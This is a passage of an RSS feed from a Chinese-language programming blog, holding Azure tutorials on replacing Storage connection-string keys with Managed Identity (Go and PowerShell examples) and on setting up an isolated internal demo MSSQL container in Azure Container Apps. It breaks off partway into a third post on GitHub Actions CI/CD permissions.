

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>azure &#8211; Max的程式語言筆記</title>
	<atom:link href="https://stackoverflow.max-everyday.com/tag/azure/feed/" rel="self" type="application/rss+xml" />
	<link>https://stackoverflow.max-everyday.com</link>
	<description>我要當一個豬頭，快樂過每一天</description>
	<lastBuildDate>Mon, 21 Sep 2026 05:27:16 +0000</lastBuildDate>
	<language>zh-TW</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.2</generator>

<image>
	<url>https://stackoverflow.max-everyday.com/wp-content/uploads/2017/02/max-stackoverflow-256.png</url>
	<title>azure &#8211; Max的程式語言筆記</title>
	<link>https://stackoverflow.max-everyday.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Azure 升級大作戰：告別通行金鑰，擁抱 Managed Identity</title>
		<link>https://stackoverflow.max-everyday.com/2026/09/azure-managed-identity-storage-account/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/09/azure-managed-identity-storage-account/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Mon, 21 Sep 2026 05:27:15 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8771</guid>

					<description><![CDATA[這是一篇教大家如何把 Azure Storage...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_12799267848597312935_clean-1024x572.jpg?v=1789968401" alt="" class="wp-image-8772" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_12799267848597312935_clean-1024x572.jpg?v=1789968401 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_12799267848597312935_clean-767x428.jpg?v=1789968401 767w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_12799267848597312935_clean-600x335.jpg?v=1789968401 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_12799267848597312935_clean.jpg?v=1789968401 1376w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">這是一篇教大家如何把 Azure Storage 從舊時代的金鑰存取，安全升級到託管身分 Managed Identity 的技術指南。</p>



<p class="wp-block-paragraph">想像一下，你家大門的鑰匙就被你大大方方放在門口的鞋櫃上，任何走過路過的人只要拿到這把鑰匙就能直接進你家搬東西。這就是以前我們使用存取金鑰 Connection String 連線到 Azure Storage 的驚險狀況！</p>



<p class="wp-block-paragraph">為了不讓駭客當你家是花園，我們強烈建議改用託管身分 Managed Identity。</p>



<p class="wp-block-paragraph">不過設定上會和 SQL 連線不太一樣。SQL 只要在連線字串加個 useMsi=true 就能解決，但 Blob Storage 必須搭配 Blob SDK 使用 Entra ID Token，並且在 Azure RBAC 權限控管中，給予你的 Container App 相應的權限。</p>



<p class="wp-block-paragraph">在目前的測試環境中，我們的後端 App 雖然有了系統分配的身分，但只有拿到拉取映像檔的 AcrPull 權限。至於檔案儲存區，依然把金鑰 AZURE_STORAGE_CONNECTION_STRING 硬塞給後端程式碼。</p>



<p class="wp-block-paragraph">為了達成最高等級的資安防護，以下是推薦的升級改造方向：</p>



<h4 class="wp-block-heading">1. 打造安全的基礎架構</h4>



<ul class="wp-block-list">
<li>私有化儲存區：Blob Container 絕對不能開啟任何人都能看的公開存取存取權限。</li>



<li>後端專屬通道：只有後端 App 可以接觸儲存區，前端完全不拿任何金鑰或 Token。</li>



<li>權限最小化原則：給後端 App 的身分授權 Storage Blob Data Contributor 角色，而且範圍只能限定在 demoproject-attachments 這個容器。這樣它就能讀、寫、刪除檔案。（千萬別偷懶給了一般權限，那樣權限太大了！）</li>
</ul>



<h4 class="wp-block-heading">2. 後端 Go 程式碼改版</h4>



<p class="wp-block-paragraph">後端改用 DefaultAzureCredential 搭配 Storage Account 的 Blob 端點。這樣做的好處是，你在本機開發時會自動用你電腦 az login 的身分；一旦部署到 Azure Container Apps 時，就會自動無縫切換成 Managed Identity，完全不用改程式碼！</p>



<p class="wp-block-paragraph">你的專案已經有 azidentity 套件，不需要另外安裝。請把 config.go 中的連線字串改為帳號名稱 AccountName，並修改 internal/storage/blob.go：</p>



<pre class="wp-block-code"><code>// internal/storage/blob.go
import "github.com/Azure/azure-sdk-for-go/sdk/azidentity"

func NewBlobClient(accountName, containerName string) (*BlobClient, error) {
    if accountName == "" {
        return nil, nil // 如果本地環境停用附件功能就跳過
    }
    if containerName == "" {
        return nil, fmt.Errorf("azure storage container name is required")
    }

    credential, err := azidentity.NewDefaultAzureCredential(nil)
    if err != nil {
        return nil, fmt.Errorf("create azure credential: %w", err)
    }

    serviceURL := fmt.Sprintf("https://%s.blob.core.windows.net/", accountName)
    client, err := azblob.NewClient(serviceURL, credential, nil)
    if err != nil {
        return nil, fmt.Errorf("create blob client: %w", err)
    }

    return &amp;BlobClient{client: client, container: containerName}, nil
}
</code></pre>



<p class="wp-block-paragraph"><em>(別忘了主程式 main.go 也要改為呼叫 NewBlobClient(cfg.AzureStorage.AccountName, cfg.AzureStorage.ContainerName) )</em></p>



<h4 class="wp-block-heading">3. 自動化部署腳本更新</h4>



<p class="wp-block-paragraph">部署時不再傳送一長串的金鑰，改為傳送儲存區名稱：</p>



<pre class="wp-block-code"><code>$STORAGE_ACCOUNT_NAME = "demostorageaccount"
$AZURE_STORAGE_CONTAINER_NAME = "demoproject-attachments"
</code></pre>



<p class="wp-block-paragraph">在取得後端的服務身分 ID 後，加入 RBAC 授權：</p>



<pre class="wp-block-code"><code>$storageAccountId = az storage account show `
  --name $STORAGE_ACCOUNT_NAME `
  --resource-group $STORAGE_RG `
  --query id -o tsv
Assert-Success "storage account show"

$storageContainerScope = "$storageAccountId/blobServices/default/containers/$AZURE_STORAGE_CONTAINER_NAME"

az role assignment create `
  --assignee-object-id $backendPrincipalId `
  --assignee-principal-type ServicePrincipal `
  --role "Storage Blob Data Contributor" `
  --scope $storageContainerScope | Out-Null
Assert-Success "Storage Blob Data Contributor role"
</code></pre>



<p class="wp-block-paragraph">最後更新環境變數設定：</p>



<pre class="wp-block-code"><code>@{ name = "AZURE_STORAGE_ACCOUNT_NAME";   value = $STORAGE_ACCOUNT_NAME }
@{ name = "AZURE_STORAGE_CONTAINER_NAME"; value = $AZURE_STORAGE_CONTAINER_NAME }
</code></pre>



<p class="wp-block-paragraph"><em>(小提醒：正式環境的 deploy-production.ps1、.env.example 等檔案也要同步更新，不然正式環境還會傻傻地跟你要金鑰喔！)</em></p>



<h4 class="wp-block-heading">4. 警告！附件下載流程會壞掉！</h4>



<p class="wp-block-paragraph">這是大家升級時最容易踩到的超大陷阱！</p>



<p class="wp-block-paragraph">Managed Identity 的通行證只有「後端 到 儲存區」有效。一旦我們把儲存區設為私有，以前那種直接把網址丟給前端網頁點擊下載的做法就會直接失效，使用者點開只會看到冷酷的 403 Forbidden 拒絕存取畫面！</p>



<p class="wp-block-paragraph"><strong>該怎麼拯救下載功能？</strong></p>



<p class="wp-block-paragraph">千萬不要因為下載壞掉就把儲存區重新開放給外面的所有人看！</p>



<p class="wp-block-paragraph">正確的解法是讓後端當「轉接員」，新增一個需要驗證的下載 API 路線：</p>



<p class="wp-block-paragraph">GET /api/announcements/{id}/attachments/{attachmentId}/download</p>



<p class="wp-block-paragraph">流程變成：前端跟後端要檔案，後端憑著自己的 Managed Identity 身份去把檔案拿回來，再傳給使用者。這樣既安全又不會斷功能！</p>



<h4 class="wp-block-heading">改造總結步驟</h4>



<ol start="1" class="wp-block-list">
<li>建立專屬的容器 Container。</li>



<li>設定後端身分的 RBAC 授權。</li>



<li>修改 Go 語言程式碼改走 DefaultAzureCredential。</li>



<li>更新部署時的環境變數。</li>



<li>把下載機制改為後端轉接模式（最重要的一步）。</li>



<li>開始歡樂測試上傳、下載、刪除，確保一切正常！</li>
</ol>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/09/azure-managed-identity-storage-account/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>在 Azure Container Apps 建立隔離的 Demo MSSQL 資料庫</title>
		<link>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-demo-mssql/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-demo-mssql/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Mon, 14 Sep 2026 07:31:58 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8767</guid>

					<description><![CDATA[Demo 資料說明 本文是一篇教學用範例。Exa...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_11674646855586028103_clean-1024x572.jpg?v=1789371090" alt="" class="wp-image-8768" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_11674646855586028103_clean-1024x572.jpg?v=1789371090 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_11674646855586028103_clean-600x335.jpg?v=1789371090 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_11674646855586028103_clean-767x428.jpg?v=1789371090 767w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_11674646855586028103_clean.jpg?v=1789371090 1376w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Demo 資料說明</strong></p>



<p class="wp-block-paragraph">本文是一篇教學用範例。Example Company、<code>demoproject</code>、Azure 資源名稱、帳號、網域與 tenant 都是虛構資料，不能直接拿來連線或部署。實際使用時，請替換成自己的環境設定。</p>
</blockquote>



<h2 class="wp-block-heading">先說結論</h2>



<p class="wp-block-paragraph">Example Company 的開發團隊想在 Azure Container Apps 裡快速展示 Backend 功能，但暫時不需要使用既有的 Azure SQL Database，也不需要讀取既有的 <code>demoproject-dev</code> 資料。</p>



<p class="wp-block-paragraph">這種情況可以在同一個 Container Apps Environment 裡，另外部署一個暫時的 Microsoft SQL Server container，提供一個全新的 Demo database。</p>



<p class="wp-block-paragraph">這個方案的重點是：</p>



<ul class="wp-block-list">
<li>Demo SQL Server 是獨立的新資料庫。</li>



<li>Backend 不連既有的 <code>demoproject-dev</code>。</li>



<li>不匯入正式或 staging 資料。</li>



<li>不使用既有 Azure SQL 的 Managed Identity、contained user 或 database roles。</li>



<li>Backend、MSSQL 和 Frontend 仍然要正確設定網路、secret、storage、health check 和 CI/CD。</li>
</ul>



<p class="wp-block-paragraph">換句話說，這不是把原本的 Azure SQL 搬進 container，而是建立一套<strong>隔離、短期、只供 Demo 使用的資料庫環境</strong>。</p>



<h2 class="wp-block-heading">為什麼需要這個方案？</h2>



<p class="wp-block-paragraph">假設目前的開發環境是：</p>



<pre class="wp-block-code"><code>cae-example-dev-001</code></pre>



<p class="wp-block-paragraph">這個 Environment 主要用來執行開發中的 Container App，但沒有連到既有 Azure SQL Private Endpoint 所需的完整 VNet 路徑。</p>



<p class="wp-block-paragraph">如果 Backend 直接使用 Azure SQL，可能會遇到：</p>



<ul class="wp-block-list">
<li>SQL network connection timeout。</li>



<li>Private Endpoint 無法連線。</li>



<li>Azure SQL firewall 拒絕來源 IP。</li>



<li>Managed Identity 可以取得 token，但 SQL database 沒有對應的 user 或 roles。</li>
</ul>



<p class="wp-block-paragraph">可是，這次 Demo 的需求並不是要存取既有資料，而是希望先讓團隊能夠：</p>



<ol class="wp-block-list">
<li>啟動 Backend API。</li>



<li>建立一些測試資料。</li>



<li>展示查詢、新增、修改等基本功能。</li>



<li>讓 Frontend 能呼叫 Backend。</li>
</ol>



<p class="wp-block-paragraph">因此，可以把資料庫改成和 Backend 位於同一個 Container Apps Environment 的內部 MSSQL App，讓這次 Demo 不依賴既有 Azure SQL 的 Private Endpoint。</p>



<h2 class="wp-block-heading">目標架構</h2>



<p class="wp-block-paragraph">Demo 環境可以設計成下面這樣：</p>



<pre class="wp-block-code"><code>Frontend 或測試工具
          │
          ▼
ca-example-backend-dev-001
          │ internal connection
          ▼
ca-example-mssql-demo-dev-001
          │ TCP 1433，僅限 internal ingress
          ▼
demoproject-demo</code></pre>



<p class="wp-block-paragraph">示範資源如下：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>元件</th><th>Demo 名稱</th><th>用途</th></tr></thead><tbody><tr><td>Container Apps Environment</td><td><code>cae-example-dev-001</code></td><td>執行所有 Demo App</td></tr><tr><td>Backend App</td><td><code>ca-example-backend-dev-001</code></td><td>提供 API</td></tr><tr><td>MSSQL App</td><td><code>ca-example-mssql-demo-dev-001</code></td><td>提供 Demo database</td></tr><tr><td>Database</td><td><code>demoproject-demo</code></td><td>全新、隔離的測試資料</td></tr><tr><td>Resource Group</td><td><code>rg-demo-dev-001</code></td><td>存放 Demo Container Apps</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">MSSQL 應該是獨立的 Container App，不要和 Backend 放在同一個 container。這樣可以分別更新 Backend 和資料庫，也比較容易在 Demo 結束時清理。</p>



<h2 class="wp-block-heading">需要怎麼做？</h2>



<h3 class="wp-block-heading">第一步：建立獨立的 MSSQL Container App</h3>



<p class="wp-block-paragraph">使用官方 Microsoft SQL Server Linux container image，並固定版本或 digest，不要長期使用會隨時間變動的 <code>latest</code> tag。</p>



<p class="wp-block-paragraph">MSSQL App 的基本設定應包含：</p>



<pre class="wp-block-code"><code>App name:    ca-example-mssql-demo-dev-001
Environment: cae-example-dev-001
Port:        TCP 1433
Ingress:     internal only
Database:    demoproject-demo</code></pre>



<p class="wp-block-paragraph">Container 需要設定：</p>



<ul class="wp-block-list">
<li><code>ACCEPT_EULA=Y</code></li>



<li><code>MSSQL_PID=Developer</code></li>



<li><code>MSSQL_SA_PASSWORD</code></li>



<li>足夠的 CPU 和 memory</li>



<li>TCP <code>1433</code> target port</li>



<li>readiness/startup health check</li>
</ul>



<p class="wp-block-paragraph">SQL Server container 通常至少需要 2 GiB memory；Demo 建議依實際啟動時間與資料量配置更多資源。</p>



<p class="wp-block-paragraph"><code>MSSQL_PID=Developer</code> 只適合非正式 Demo，不能當成 production license 或正式 staging database。SA password 不可以寫在 Dockerfile、image、repository 或 workflow 明文中。</p>



<h3 class="wp-block-heading">第二步：只開放內部網路</h3>



<p class="wp-block-paragraph">MSSQL App 只能使用 internal ingress：</p>



<pre class="wp-block-code"><code>Backend App ── internal DNS ──&gt; MSSQL App:1433</code></pre>



<p class="wp-block-paragraph">不要把 SQL Server 的 TCP <code>1433</code> 開成 public ingress，也不要讓測試人員直接從 Internet 連入。</p>



<p class="wp-block-paragraph">Backend 和 MSSQL App 最簡單的做法是放在同一個 <code>cae-example-dev-001</code>。Backend 使用 MSSQL App 的 internal FQDN 連線，不要自行猜測 FQDN 格式，應從 Azure Container Apps 的 App 設定或 DNS 設定取得實際值。</p>



<h3 class="wp-block-heading">第三步：建立專用 application login</h3>



<p class="wp-block-paragraph">Backend 不應使用 <code>sa</code> 登入。MSSQL container 第一次啟動後，應執行一次初始化流程：</p>



<ol class="wp-block-list">
<li>建立 <code>demoproject-demo</code> database。</li>



<li>建立專用的 Backend application login。</li>



<li>只授予 application login 必要的 read/write 權限。</li>



<li>只有需要執行 schema migration 時，才授予有限的 DDL 權限。</li>



<li>確認 Backend 不會取得 SA password。</li>
</ol>



<p class="wp-block-paragraph">這個 Demo SQL Server 是獨立的 SQL container，Backend 通常會使用 SQL login/password，而不是既有 Azure SQL 的 Microsoft Entra Managed Identity flow。</p>



<p class="wp-block-paragraph">因此，application login 的 username 和 password 必須放在 Container App secret 或 Key Vault secret reference 中，不能放在 source code 或公開設定檔。</p>



<h3 class="wp-block-heading">第四步：修改 Backend 的 connection string</h3>



<p class="wp-block-paragraph">Backend 原本如果使用 Azure SQL Managed Identity，可能會包含這類設定：</p>



<pre class="wp-block-code"><code>fedauth=ActiveDirectoryManagedIdentity
useMsi=true</code></pre>



<p class="wp-block-paragraph">切換到 Demo MSSQL 後，Backend 必須改成：</p>



<ul class="wp-block-list">
<li>SQL host：<code>ca-example-mssql-demo-dev-001</code> 的 internal FQDN。</li>



<li>Port：<code>1433</code>。</li>



<li>Database：<code>demoproject-demo</code>。</li>



<li>Username：專用 application login。</li>



<li>Password：由 secret reference 注入。</li>



<li>Authentication：使用 SQL login/password。</li>
</ul>



<p class="wp-block-paragraph">概念上的設定如下：</p>



<pre class="wp-block-code"><code>sqlserver://&lt;mssql-internal-host&gt;:1433
  ?database=demoproject-demo
  &amp;user=&lt;application-user&gt;
  &amp;password=&lt;secret-reference&gt;</code></pre>



<p class="wp-block-paragraph">實際格式要依 Backend 使用的 SQL driver 調整。不要把完整 connection string 寫進 GitHub Actions log、Dockerfile 或公開的 frontend configuration。</p>



<p class="wp-block-paragraph">如果 Demo SQL Server 使用 self-signed certificate，請明確決定測試環境的 TLS 設定。即使是 Demo，也不要把關閉加密或無條件信任憑證當成正式環境的解法。</p>



<h3 class="wp-block-heading">第五步：建立 schema 和測試資料</h3>



<p class="wp-block-paragraph">全新的 <code>demoproject-demo</code> 不會自動有任何 table，因此需要另外準備：</p>



<ul class="wp-block-list">
<li>schema migration。</li>



<li>初始化 seed data。</li>



<li>Demo 使用者和測試帳號。</li>



<li>API 所需的 reference data。</li>



<li>migration 失敗時的處理方式。</li>
</ul>



<p class="wp-block-paragraph">建議使用一次性的 bootstrap 或 job 初始化 database，不要讓每一個 Backend revision 在啟動時同時執行完整 migration，否則可能發生 migration race condition。</p>



<p class="wp-block-paragraph">Demo data 應該是新建或去識別化資料，不要將正式資料直接複製到這個 container。</p>



<h3 class="wp-block-heading">第六步：處理資料持久化</h3>



<p class="wp-block-paragraph">Container App 的 local filesystem 不適合當成可靠的 database storage。如果沒有持久化 volume，以下情況都可能讓資料消失：</p>



<ul class="wp-block-list">
<li>Container restart。</li>



<li>Revision replacement。</li>



<li>App 被重新建立。</li>



<li>Node 或 host 發生故障。</li>
</ul>



<p class="wp-block-paragraph">如果 Demo 只做一次性展示，可以接受資料在環境重建後消失；如果需要保留測試結果，至少要：</p>



<ul class="wp-block-list">
<li>將 SQL Server data/log 目錄掛到持久化 storage，例如 Azure Files。</li>



<li>驗證 SQL Server 在該 storage 上的 lock、I/O 和 recovery 行為。</li>



<li>設定 backup，並將 backup 放到獨立的儲存位置。</li>



<li>訂定資料保存期限。</li>



<li>確認刪除 App 或 volume 時，不會誤刪唯一一份資料。</li>
</ul>



<p class="wp-block-paragraph">即使使用 Azure Files，這仍然不等同於 Azure SQL Database 的 HA、backup、patching、SLA 和資料庫服務保證，所以必須把它標示為 <code>temporary demo database</code>。</p>



<h3 class="wp-block-heading">第七步：把資料庫 bootstrap 和一般 CI/CD 分開</h3>



<p class="wp-block-paragraph">MSSQL App 不應該在每次 Backend push 時被刪除或重建。建議把流程分成兩部分。</p>



<p class="wp-block-paragraph"><strong>一次性的 Demo bootstrap：</strong></p>



<ul class="wp-block-list">
<li>建立或更新 <code>ca-example-mssql-demo-dev-001</code>。</li>



<li>設定 image、secret、storage、internal ingress 和 health check。</li>



<li>等待 SQL Server ready。</li>



<li>建立 <code>demoproject-demo</code>、application login、schema 和 seed data。</li>
</ul>



<p class="wp-block-paragraph"><strong>一般 Backend CI/CD：</strong></p>



<ul class="wp-block-list">
<li>編譯 Backend。</li>



<li>Push Backend image 到 ACR。</li>



<li>更新 <code>ca-example-backend-dev-001</code>。</li>



<li>保留 MSSQL App 和 volume，不要重新初始化 database。</li>
</ul>



<p class="wp-block-paragraph">Backend runtime 仍然需要自己的 ACR <code>AcrPull</code>。GitHub OIDC Service Principal 只負責 CI/CD 所需的 <code>AcrPush</code> 和 App deployment 權限，不需要 SQL database role。</p>



<p class="wp-block-paragraph">如果 MSSQL image 直接從 MCR pull，必須確認 Environment 可以連到 MCR。如果團隊將 MSSQL image mirror 到 ACR，則 MSSQL App 的 runtime identity 也要另外授予 ACR <code>AcrPull</code>。</p>



<h3 class="wp-block-heading">第八步：處理啟動順序和健康檢查</h3>



<p class="wp-block-paragraph">SQL Server container 通常比 API container 更久才會 ready，因此 Backend 不能假設 SQL 在啟動第一秒就能連線。</p>



<p class="wp-block-paragraph">需要加入：</p>



<ul class="wp-block-list">
<li>MSSQL readiness/health check。</li>



<li>Backend 的 connection retry 和 backoff。</li>



<li>將「SQL 尚未 ready」與「帳號密碼錯誤」分開記錄。</li>



<li>SQL container restart 後，Backend 自動恢復連線。</li>



<li>避免在 logs 印出 password、完整 connection string 或 token。</li>
</ul>



<p class="wp-block-paragraph"><code>az containerapp update</code> 成功只代表 Azure 接受了 App 設定，不代表 Backend 一定已經能連到 MSSQL。必須等兩個 App 都 healthy 後，再測試 API。</p>



<h2 class="wp-block-heading">Frontend 要調整什麼？</h2>



<p class="wp-block-paragraph">Frontend 不需要 SQL 權限，也不應取得 Backend 的 SQL credentials。</p>



<p class="wp-block-paragraph">Frontend 需要確認：</p>



<ul class="wp-block-list">
<li>使用正確的 Frontend image。</li>



<li>使用新的 Backend API URL。</li>



<li>Nginx 或其他 web server 沒有寫死舊的 Backend hostname。</li>



<li>只有必要的 frontend secrets 被注入。</li>
</ul>



<p class="wp-block-paragraph">Frontend 只呼叫 Backend API；SQL connection 由 Backend 負責。</p>



<h2 class="wp-block-heading">安全設定</h2>



<p class="wp-block-paragraph">這個 Demo 方案至少要符合以下原則：</p>



<ul class="wp-block-list">
<li>MSSQL App 只有 internal ingress。</li>



<li>不對 Internet 公開 TCP <code>1433</code>。</li>



<li>SA password 和 application password 都放在 secret。</li>



<li>Backend 使用專用 application login，不使用 SA。</li>



<li>不把 SQL credentials 寫入 Git repository。</li>



<li>不讓 Frontend 取得 SQL credentials。</li>



<li>監控 container restart、CPU、memory、storage 和 backup。</li>



<li>為 Demo 設定 owner、用途和到期日。</li>



<li>Demo 結束後移除 App、secret、volume 和 backup。</li>
</ul>



<h2 class="wp-block-heading">驗證清單</h2>



<p class="wp-block-paragraph">部署完成後，依照以下順序驗證：</p>



<ol class="wp-block-list">
<li>MSSQL App revision 是 <code>Healthy / Running</code>。</li>



<li>Backend 可以解析 MSSQL App 的 internal FQDN。</li>



<li>Backend 可以建立 TCP <code>1433</code> connection。</li>



<li><code>demoproject-demo</code> database 存在。</li>



<li>Backend application login 可以登入。</li>



<li>schema migration 和 seed data 成功。</li>



<li>Backend API 可以正常讀寫 Demo database。</li>



<li>Backend 重啟後仍然可以重新連線。</li>



<li>MSSQL container 重啟後，volume 和 database recovery 正常。</li>



<li>Frontend 使用正確的 Backend URL。</li>



<li>沒有任何元件對 Internet 公開 SQL <code>1433</code>。</li>
</ol>



<h2 class="wp-block-heading">這個方案解決什麼、不解決什麼？</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>問題</th><th>隔離 Demo MSSQL 方案</th></tr></thead><tbody><tr><td>需要一個全新的短期測試 database</td><td>可以解決</td></tr><tr><td>不想依賴既有 Azure SQL Private Endpoint</td><td>可以避開這個依賴</td></tr><tr><td>必須使用既有 <code>demoproject-dev</code> 資料</td><td>不適用</td></tr><tr><td>需要 Azure SQL Managed Identity authentication</td><td>不會自動保留，通常要改成 SQL login</td></tr><tr><td>需要正式資料庫的 HA、backup、SLA</td><td>不適用</td></tr><tr><td>Frontend 是否需要 SQL 權限</td><td>仍然不需要</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Demo 結束後</h2>



<p class="wp-block-paragraph">這個方案應該被明確記錄為：</p>



<pre class="wp-block-code"><code>temporary isolated demo database</code></pre>



<p class="wp-block-paragraph">Demo 結束時，依序完成：</p>



<ol class="wp-block-list">
<li>匯出真正需要保留的 Demo 結果。</li>



<li>停止不再使用的 Backend 和 Frontend revision。</li>



<li>移除 SQL secrets 和 application credentials。</li>



<li>備份或刪除 Demo database volume。</li>



<li>刪除 MSSQL Container App。</li>



<li>清理 ACR 中不再使用的 Demo image。</li>



<li>確認後續部署不會誤連到 <code>demoproject-demo</code>。</li>
</ol>



<h2 class="wp-block-heading">總結</h2>



<p class="wp-block-paragraph">在 <code>cae-example-dev-001</code> 自架 MSSQL container，可以讓 Example Company 快速得到一個不依賴既有 Azure SQL 的隔離 Demo database。這個方法適合短期展示和功能驗證，但不是把正式資料庫搬進 Container App，也不是正式 production database 的替代品。</p>



<p class="wp-block-paragraph">真正需要完成的工作不只是部署一個 MSSQL image，還包括：</p>



<ul class="wp-block-list">
<li>建立獨立的 MSSQL App。</li>



<li>只開放 internal TCP <code>1433</code>。</li>



<li>建立專用 application login。</li>



<li>將 Backend connection string 改成新的 Demo database。</li>



<li>初始化 schema 和 seed data。</li>



<li>決定是否需要持久化 storage 和 backup。</li>



<li>將 database bootstrap 與一般 Backend CI/CD 分開。</li>



<li>加入 health check、connection retry 和 logs 保護。</li>



<li>在 Demo 結束後完整清理資源。</li>
</ul>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-demo-mssql/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure Container Apps CI/CD 部署與權限配置</title>
		<link>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-ci-cd/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-ci-cd/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Mon, 14 Sep 2026 06:51:07 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8762</guid>

					<description><![CDATA[Demo 資料說明 這是一份可以單獨閱讀的教學用...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="626" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_15779193270832496688_clean-1024x626.jpg?v=1789368643" alt="" class="wp-image-8763" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_15779193270832496688_clean-1024x626.jpg?v=1789368643 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_15779193270832496688_clean-600x367.jpg?v=1789368643 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_15779193270832496688_clean-767x469.jpg?v=1789368643 767w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_15779193270832496688_clean.jpg?v=1789368643 1308w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Demo 資料說明</strong></p>



<p class="wp-block-paragraph">這是一份可以單獨閱讀的教學用範例。所有專案名稱、公司名稱、GitHub repository、Azure 資源名稱、網域、帳號與 tenant 名稱都是虛構資料，不能直接拿來連線或部署。請依照實際環境替換成自己的設定。</p>
</blockquote>



<h2 class="wp-block-heading">這份文件要解決什麼問題</h2>



<p class="wp-block-paragraph">Example Company 的開發團隊希望使用 GitHub Actions 做 Azure CI/CD，流程如下：</p>



<ol class="wp-block-list">
<li>GitHub Actions 將程式編譯成 container image。</li>



<li>將 image push 到 Azure Container Registry（ACR）。</li>



<li>更新 Azure Container App，讓 App 使用新的 image。</li>



<li>Backend 啟動後，透過 Microsoft Entra Managed Identity 連線到 Azure SQL Database。</li>
</ol>



<p class="wp-block-paragraph">目前遇到的問題通常會長這樣：</p>



<ul class="wp-block-list">
<li>GitHub Actions 可以登入 Azure，但 Container App 啟動時無法從 ACR 拉 image。</li>



<li>Container App 的部署指令顯示成功，但新的 revision 變成 <code>ActivationFailed</code>。</li>



<li>Backend image 可以啟動，卻因為沒有 SQL contained user 或 database role 而無法登入資料庫。</li>



<li>App 位於沒有 VNet 路徑的 Container Apps Environment，因此連不到 SQL Private Endpoint。</li>



<li>Frontend 還在使用舊的 Harbor image 或舊的 Backend hostname。</li>



<li>舊的部署系統與 Azure GitHub Actions 同時執行，造成兩邊互相覆蓋部署結果。</li>
</ul>



<p class="wp-block-paragraph">這些現象看起來都像「權限問題」，但實際上分屬四個不同層次：</p>



<ol class="wp-block-list">
<li>GitHub Actions 的 CI 身分能不能登入 Azure、push image、更新 App。</li>



<li>Container App 執行時的 Managed Identity 能不能從 ACR pull image。</li>



<li>Backend 的 Managed Identity 能不能登入 SQL Database。</li>



<li>Container Apps Environment 是否有通往 SQL Private Endpoint 的網路路徑。</li>
</ol>



<h2 class="wp-block-heading">Demo 情境與資源</h2>



<p class="wp-block-paragraph">以下名稱全部是示意資料：</p>



<ul class="wp-block-list">
<li>公司：<strong>Example Company</strong></li>



<li>GitHub organization/repository：<code>example-company/demo-backend</code></li>



<li>Subscription：<code>Demo-Subscription</code></li>



